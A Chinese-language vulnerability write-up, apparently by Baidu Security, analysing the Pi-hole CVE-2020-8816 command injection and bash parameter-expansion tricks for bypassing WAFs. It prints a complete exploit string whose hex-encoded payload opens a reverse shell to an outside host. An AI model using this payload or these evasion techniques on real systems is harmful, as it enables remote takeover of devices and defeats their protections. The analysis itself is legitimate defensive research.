2020-06-03 17:04:2010353人阅读
最近偶然看到了Pi-hole <=4.3.2远程代码执行漏洞(CVE-2020-8816)相关的文章,漏洞成因不是很难,但是里面构造的Exp引起了我的兴趣。由于Pi-hole代码对命令注入的参数整体做了大写转换,因此用到了shell参数扩展进行绕过,后面我查询了相关资料,发现这种方式非常灵活,可被用在命令注入攻击中以绕过传统WAF。
我们下载了Pi-hole 4.3.2版本进行安装,安装成功后会提示访问http://pi.hole/admin进行Web界面的管理。该漏洞为授权命令执行漏洞,Pi-hole安装完成后会在界面生成一个随机密码。成功登录后,访问Setting-DHCP,在下图的Mac address处可进行命令注入
此时我们填写参数并抓包,发现请求的文件路径为/admin/setting.php,仔细查看了setting.php文件逻辑,发现该文件主要用来展示设置的内容和布局,并且是php和html混合的方式,并没有进行保存操作的代码,但是我们在代码第9行发现引入了scripts/pi-hole/php/savesettings.php
跟进到savesettings.php,发现会检查POST参数中field的值,并利用switch case判断,此时抓取的数据包中field为DHCP,可以跟进到548行。命令注入点AddMAC被赋值给$mac,并且在556行会由validMAC方法进行校验。
我们继续跟进validMAC方法,发现只要匹配到12个数字字母即返回成功,正则表达式中没有设定开始结束符号导致可以插入任意字符,随后$mac在604行直接拼接到exec方法中,从而导致命令注入。
但是在560行会将$mac所有字符转成大写,我们知道linux中的命令是区分大小写的,大写的如”ID”、”WHOAMI”等都是无法执行的,但是PHP中的函数是不区分大小写的。因此漏洞作者引入了shell参数扩展的方法,通过模式匹配获取小写的p、h、r等字符。
这里我们可以根据env中的常量进行截取:
$PATH=’ /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin’
$W=${PATH##*:/}=’snap/bin’
$Y=${W%%/???}=’snap’
$P=${Y#???}=’p’
$PWD=’/var/www/html/admin’
$I=${PWD#/???/???/}
$H=${I%???/?????}
$Q=${PWD%/???/????/?????}
$R=${Q#/??}
那么可以构造如下的Exp:
123456789123&&W=${PATH##*:/}&&Y=${W%%/???}&&P=${Y#???}&&I=${PWD#/???/???/}&&H=${I%???/?????}&&Q=${PWD%/???/????/?????}&&R=${Q#/??}&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("62617368202D63202762617368202D69203E26202F6465762F7463702F312E312E312E312F3930393020303E263127"));'&&
Shell参数扩展的绕过方式非常有意思,在命令注入漏洞的利用中可能被用以绕过WAF等。我也去查询了一下相关的资料,参数扩展定义如下:在shell中可以使用花括号${}包裹参数来防止紧跟在参数后面的字符串被当作参数变量名的一部分,所以最基本的参数展开就是${parameter},常见的可被利用的有以下操作:
大小写转换:
${parameter^pattern} //对pattern匹配的第一个字符转成大写
${parameter^^pattern} //对pattern匹配的所有字符转成大写
${parameter,pattern} //对pattern匹配的第一个字符转成小写
${parameter,,pattern} //对pattern匹配的所有字符转成小写
字符串删除:
${parameter#pattern} //从头开始匹配符合pattern的数据,则将符合的最短的数据删除
${parameter##pattern}//从头开始匹配符合pattern的数据,则将符合的最长的数据删除
${parameter%pattern}//从后开始匹配符合pattern的数据,则将符合的最短的数据删除
${parameter%%pattern}//从后开始匹配符合pattern的数据,则将符合的最长的数据删除
可以举一个简单的例子如下图,在知道$PATH的情况下可多次利用模式匹配进行字符串删除留下可用字符,从而执行id命令。
参数切片:
${parameter:offset:length} //从offset下标处截取长度为length的部分
使用切片的方式可以更方便地截取字符。
参数替换:
${parameter/pattern/string} //将pattern匹配的部分替换为string
在命令注入时可以将敏感词进行变形,以替换的方式进行绕过。
其中模式匹配pattern常见有下面的符号:
* //匹配任意字符串
?//匹配任意单个字符
[…] //匹配集合中任意一个字符
经过实际测试,发现诸如PHP、JAVA等语言的命令执行函数,不能完全支持shell参数扩展的方式。在PHP 7.0.3环境下,使用system、exec、shell_exec命令执行方法,只支持上述字符串删除的方式;而在JAVA1.8环境下,Runtime.getRuntime().exec则支持上述所有方式。
百度安全一体化产品已支持CVE-2020-8816检测和拦截, 并且通过AI学习的智能白模型也能很有效地拦截Shell参数扩展造成的变形。有需求的客户可以登录anquan.baidu.com联系我们。
参考链接:
https://www.freebuf.com/vuls/234533.html
https://www.gnu.org/software/bash/manual/html_node/Pattern-Matching.html#Pattern-Matching
https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html
本文由百度安全原创,转载请注明出处及原文链接